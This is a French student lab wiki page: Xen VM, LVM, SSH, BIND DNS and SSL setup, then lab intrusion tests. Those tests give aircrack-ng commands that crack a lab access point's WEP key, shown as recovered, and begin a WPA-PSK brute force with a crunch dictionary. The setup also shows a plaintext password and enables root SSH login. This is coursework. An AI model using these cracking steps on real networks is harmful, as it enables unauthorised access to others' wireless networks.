TP sysres IMA5 2021/2022 G5 : Différence entre versions

De Wiki d'activités IMA
(Cassage du mot de passe WPA-PSK par force brute)
(Certification)
Ligne 238 : Ligne 238 :
 
  * TTL : Time to Live
 
  * TTL : Time to Live
  
==Certification==
+
==Sécurisation du site par certificat SSL==
  
 
Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.
 
Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

Version du 13 décembre 2021 à 18:35

BOURDAIN Hélène & VINGERE Camille

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 IPv4 @MV SSID VM
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 193.48.57.180/28 Tulipe Duff

Architecture réseau

Schéma global

Nous nous sommes occupés de l'installation physique du réseau.


Mise en place de la machine virtuelle

Création d'une machine virtuelle Xen

  • Connexion à capbreton
ssh root@capbreton
  • Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
  • Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
* --hostname : nom de la VM
* --netmask : masque de sous-réseau
* --gateway : ip de la passerelle
* --dir : répertoire où les disques virtuels doivent être créés
* --password : mot de passe pour accéder à la VM
* --dist : distribution linux

Création des deux partitions LVM

  • Choisir le volume

Pour cela, on affiche les différents volumes disponible

vgdisplay

--- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  150
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                24
 Open LV               12
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       45056 / 176.00 GiB
 Free  PE / Size       1385470 / <5.29 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
  
 --- Volume group ---
 VG Name               virtual
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  333
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                56
 Open LV               49
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <1.82 TiB
 PE Size               4.00 MiB
 Total PE              476934
 Alloc PE / Size       143104 / 559.00 GiB
 Free  PE / Size       333830 / 1.27 TiB
 VG UUID               MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B
  
 --- Volume group ---
 VG Name               system
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  2
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                1
 Open LV               1
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <834.18 GiB
 PE Size               4.00 MiB
 Total PE              213549
 Alloc PE / Size       213549 / <834.18 GiB
 Free  PE / Size       0 / 0   
 VG UUID               09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2

On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.

  • On créé les deux LV
lvcreate -L10G -n Duff1 storage
lvcreate -L10G -n Duff2 storage

*-L : taille allouée
*-n : nom de la partition
*storage : volume choisi
  • On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1
mkfs.ext4 /dev/storage/Duff2
  • On a modifié le fichier de configuration

Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc

vim /etc/xen/Duff.cfg

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
  • On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg

*-c : permet de spécifier le fichier de configuration
  • On a ensuite autorisé l'IPv6
vi /etc/network/interfaces
auto eth0 inet6 auto

Monter les disques dans la VM

  • Créer un point de montage
mkdir /mnt/xvda3
mkdir /mnt/xvda4

mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
  • On créé les deux partitions

Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4

mv /var/* /mnt/xvda4

On édite fstab afin d'ajouter nos deux disques

vi /etc/fstab

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

*ext4 : type de formatage
  • On monte tout
mount -a

On peut ensuite voir tout nos disques

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

SSH

  • Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X 
Autoriser le login root : PermitRootLogin Yes

X : numéro du port ssh = 22
  • Relancer le service SSH
service ssh restart

Serveur DNS

  • Nom de domaine :
Aller sur Gandi.net : 

Nom domaine : duff-tulipe.club
Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
  • Modification de /etc/resolv.conf

On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver

nameserver 127.0.0.1
  • Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
  • Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856

* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live

Sécurisation du site par certificat SSL

Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr

* duff-tulipe.club.key : clé privé
* duff-tulipe.club.csr : clé publique

Il faut ensuite faire une demande de signature puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :

_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Installation du paquet aircrack
apt install aircrack-ng
  • Affichage de notre interface réseau
 airmon-ng
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
  • Test d'injection

Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.

aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
  • Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>

Il faut désormais ouvrir un nouveau terminal.

  • Associer l'interface réseau à notre point d'accès

Nous utilisons une fausse authentification pour nous connecter.

aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface>

nom pt acces : cracotte05
bssid: 04:DA:D2:9C:50:54
BSSID_interface_reseau : 40:A5:EF:01:35:79
n°interface : wlan0mon
  • Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap

Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas)

 KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44]
Decrypted correctly: 100%

Cassage du mot de passe WPA-PSK par force brute

  • Affichage de notre interface réseau
airmon-ng

wlx40a5ef01370a
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une kracotte (avec un "k" pour le WPA) : kracotte02 => BSSID : 44:AD:D9:5F:87:01

On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :

apt install crunch
crunch 8 8 0123456789 -o password.lst

*8 nombre min de caractères
*8 nombre max de caractères
*0123456789 : caractères utilisés pour les combinaisons
*-o : fichier de sortie

On capture un handshake

airodump-ng -c 7 --bssid 44:AD:D9:5F:87:01-w psk wlan0mon

*7 : channel